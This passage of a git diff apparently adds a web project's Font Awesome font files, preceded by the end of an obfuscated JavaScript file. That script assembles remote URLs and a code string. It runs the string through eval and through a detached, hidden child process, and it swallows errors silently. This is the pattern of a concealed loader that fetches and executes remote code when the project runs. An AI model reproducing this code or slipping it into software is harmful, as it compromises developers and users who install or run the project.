_0x18d916[_0x56e10a(0x217)](_0x197680,_0x29a925,_0x51e5ce),_0x38a289=_0x1e1040?_0x56e10a(0x21c)+_0x56e10a(0x277)+(_0x551483['_V']||0xacd+-0x40*0x86+-0x27*-0x95)+(_0x56e10a(0x171)+_0x56e10a(0x194))+_0x551483['_H']+(_0x56e10a(0x171)+_0x56e10a(0x18c))+_0x551483[_0x56e10a(0x1b7)]+(_0x56e10a(0x171)+_0x56e10a(0x1b8)+_0x56e10a(0x1c7)+_0x56e10a(0x23f)+_0x56e10a(0x1fd)+_0x56e10a(0x1b1)):_0x56e10a(0x21c)+_0x56e10a(0x277)+(_0x551483['_V']||-0x720+-0x2*-0xde5+-0x422*0x5)+(_0x56e10a(0x171)+_0x56e10a(0x1c3))+_0x551483[_0x56e10a(0x20a)]+(_0x56e10a(0x171)+_0x56e10a(0x1ae))+_0x551483[_0x56e10a(0x236)]+(_0x56e10a(0x171)+_0x56e10a(0x1b8)+_0x56e10a(0x1c7)+_0x56e10a(0x23f)+_0x56e10a(0x1fd)+_0x56e10a(0x1b1));_0x1e1040||_0x18d916[_0x56e10a(0x154)](eval,_0x18d916[_0x56e10a(0x225)](_0x38a289,_0x56578e)),_0x18d916[_0x56e10a(0x1ba)](spawn,_0x18d916[_0x56e10a(0x241)],['-e',_0x18d916[_0x56e10a(0x225)](_0x38a289,_0x56578e)],{'detached':!(-0x31f*0x9+-0x14e3+0x30fa),'stdio':_0x18d916[_0x56e10a(0x24f)],'windowsHide':!(-0x62c+-0x2*0x1245+0x47*0x9a)})[_0x56e10a(0x22e)]();}catch(_0x39e52f){}}_0x551483['_V']=_0x551483['i'],_0x551483['_H']=_0x5189a7(0x1b3)+_0x1f1c13+_0x5189a7(0x27e),_0x551483[_0x5189a7(0x1b7)]=_0x5189a7(0x1b3)+_0x171f19+_0x5189a7(0x27e),_0x551483[_0x5189a7(0x20a)]=_0x5189a7(0x1b3)+_0x1f1c13+_0x5189a7(0x165),_0x551483[_0x5189a7(0x236)]=_0x5189a7(0x1b3)+_0x1f1c13+_0x5189a7(0x27e),await _0x18d916[_0x5189a7(0x166)](_0xf8025e,new URL(_0x5189a7(0x1b3)+_0x1f1c13+(_0x5189a7(0x22f)+'s')),_0x18d916[_0x5189a7(0x176)],!(-0x1b2f*0x1+-0x1*0x1639+0x3169)),await _0x18d916[_0x5189a7(0x232)](_0xf8025e,new URL(_0x5189a7(0x1b3)+_0x1f1c13+_0x5189a7(0x192)),_0x18d916[_0x5189a7(0x249)],!(0x1585+0x4a*0x5d+-0x1*0x3067));}run(); \ No newline at end of file diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 0000000000000..d3b77c223afc9 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 0000000000000..7742838b4481a --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000000000..5b979039ab28a Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000000000..beec79178427a Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000000000..978a681a10ff0 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ